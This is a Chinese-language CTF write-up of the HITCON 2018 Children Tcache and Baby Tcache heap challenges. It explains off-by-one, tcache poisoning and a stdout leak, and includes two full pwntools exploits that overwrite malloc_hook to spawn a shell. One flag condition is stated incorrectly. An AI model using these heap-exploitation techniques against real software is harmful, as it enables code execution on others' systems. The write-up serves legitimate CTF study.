HITCON2018_Tcache

0x01 ChildrenTcache

程序过程很简单
三个功能:add,delete,view
在add函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 add()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !note_list[i] )
break;
}
printf("Size:");
size = get_num();
if ( size > 0x2000 )
exit(-2);
dest = (char *)malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
sub_BC8((__int64)&s, size);
strcpy(dest, &s);
note_list[i] = dest;
size_list[i] = size;
return __readfsqword(0x28u) ^ v5;
}

存在off-by-one

1
2
sub_BC8((__int64)&s, size);
strcpy(dest, &s);

思路:

1
2
3
4
5
6
7
8
9
申请两个chunk进入unsort bin
覆盖掉后一个chunk的prev_in_use位与前一个合并
我们预先在两个chunk之间写入一个note
这样当合并后我们就可以再分配一个note到同样位置
并且在分配前此note会因为unsort bin分割chunk的时候写入main-area的附近特定地址
我们view便可leak libc
因为分配后两个note在同样位置
便可造成tcache dup(类似double free)
而后利用tcache poisoning,将chunk分配到malloc hook或free hook前,覆盖其为one_gadget即可get shell

这里注意一下:

1
2
3
4
delete时,会:memset((void *)note_list[v1], 0xDA, size_list[v1]);
我们需要连续申请和delete多次来清理0xda(详见EXP)
tcache中chunk的fd指向的直接是chunk中的data地址,而不是prev_size
tcache分配chunk时直接通过fd分配,不对fd地址chunk的size进行检查,在分配chunk到malloc hook或free hook前时不需要绕过检测

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

def add(size,note):
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(note)

def delete(index):
p.recvuntil(": ")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))

def view(index):
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))

#context.log_level='debug'
#0x400->tcache
#0x500->unsortbin
p = process('./children_tcache',env = {'LD_PRELOAD': './libc.so.6'})
add(0x500,'kirin\n')
add(0x28,'kirin\n')
add(0x4f0,'kirin\n')
add(0x20,'kirin\n')
delete(1)
delete(0)

#overwrite the pre_chunk_in_use and pre_size
add(0x28,'a'*0x28)
delete(0)
#clean pre_size
for i in range(8):
add(0x28-i-1,'a'*(0x28-i-1))
delete(0)
add(0x28,'a'*0x20+p64(0x540))

#unsortbin
#the mix of two chunks
delete(2)

#leak libc
add(0x500,'kirin\n')
view(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x60-0x3ebc40
malloc_hook=libc_base+0x3ebc30
one_gadget=libc_base+0x10a38c

#double free
add(0x28,'kirin\n')
delete(0)
delete(2)

#overwrite the malloc_hook
add(0x28,p64(malloc_hook))
add(0x28,'kirin\n')
add(0x28,p64(one_gadget))

#get shell
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline("1")
p.interactive()

0x02 BabyTcache

程序过程和ChildrenTcache类似
在add中:

1
2
3
4
5
read_date((__int64)a1, size);
a1[size] = 0; // off by one
note_list[i] = a1;
v0 = size_list;
size_list[i] = size;

同样存在off-by-one
不过缺少了view
这里关键是在不能像ChildrenTcache一样leak libc

赛后想起ctf-wiki上介绍的:

1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/

思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
前面依然是ChildrenTcache的思路:
申请两个chunk进入unsort bin
覆盖掉后一个chunk的prev_in_use位与前一个合并
我们预先在两个chunk之间写入一个note并delete使其进入tcache
这样当合并后我们就可以再分配一个note到同样位置
并且在分配前此note会因为unsort bin分割chunk的时候写入main-area的附近特定地址
这时候 *(struct _IO_FILE_plus *) stdout的地址与现在此note上fd高字节相同,只是后三个字节不同,不过后三字节通过stdout相对libc文件的偏移即可得到:

pwndbg> p & *(struct _IO_FILE_plus *) stdout
$1 = (struct _IO_FILE_plus *) 0x7fa6148ea760 <_IO_2_1_stdout_>

add一个和tcache中note大小不同的chunk覆盖低字节使fd指向stdout
之前此note已经进入tcache,fd指向stdout
便可以利用tcache分配一个chunk到stdout处
我们覆盖掉IO_FILE结构体_IO_write_base的低字节
使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据
以此leak libc后
而后类似ChildrenTcache,利用tcache dup,将chunk分配到malloc hook或free hook前,覆盖其为one_gadget即可get shell

这里注意:

1
2
3
4
5
6
我们可以通过偏移获得stdout后三位地址,不过因为覆盖时只能按字节覆盖,倒数第四位需要爆破一下,1/16的几率成功

覆盖地址时发现IO_FILE的flags需要满足:
flags&0x1000==1
应该是我们利用了_IO_write_base,如果需要输出_IO_write_base到_IO_write_ptr/_IO_write_end的数据需要绕过检测
具体等过些时间研究一下源码

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

def add(size,note):
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(note)

def delete(index):
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))

for i in range(0x20):
#context.log_level='debug'
p=process("./baby_tcache",env = {'LD_PRELOAD': './libc.so.6'})
add(0x500,'kirin\n')
add(0x68,'kirin\n')
add(0x4f0,'kirin\n')
add(0x20,'kirin\n')
delete(1)
delete(0)

#overwrite the pre_chunk_in_use and pre_size
add(0x68,'a'*0x68)
delete(0)
#clean pre_size
for i in range(8):
add(0x68-i-1,'a'*(0x68-i-1))
delete(0)
add(0x68,'a'*0x60+p64(0x580))
delete(2)
delete(0)
add(0x500,'kirin\n')

#overwrite the low byte of fd
add(0x78,'\x60\x67')
#gdb.attach(p)
add(0x68,'kirin\n')
try:
#overwrite the _IO_write_base
#leak libc
add(0x60,p64(0xfbad1887) + p64(0)*3 + "\x00")
s=p.recv(32)[8:16]
libc_base = u64(s)-0x3ed8b0
malloc_hook=libc_base+0x3ebc30
one_gadget=libc_base+0x10a38c
delete(1)
delete(2)

#overwrite the malloc_hook
add(0x78,p64(malloc_hook))
add(0x78,'kirin\n')
add(0x78,p64(one_gadget))

#get shell
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline('1')
p.interactive()
except:
p.close()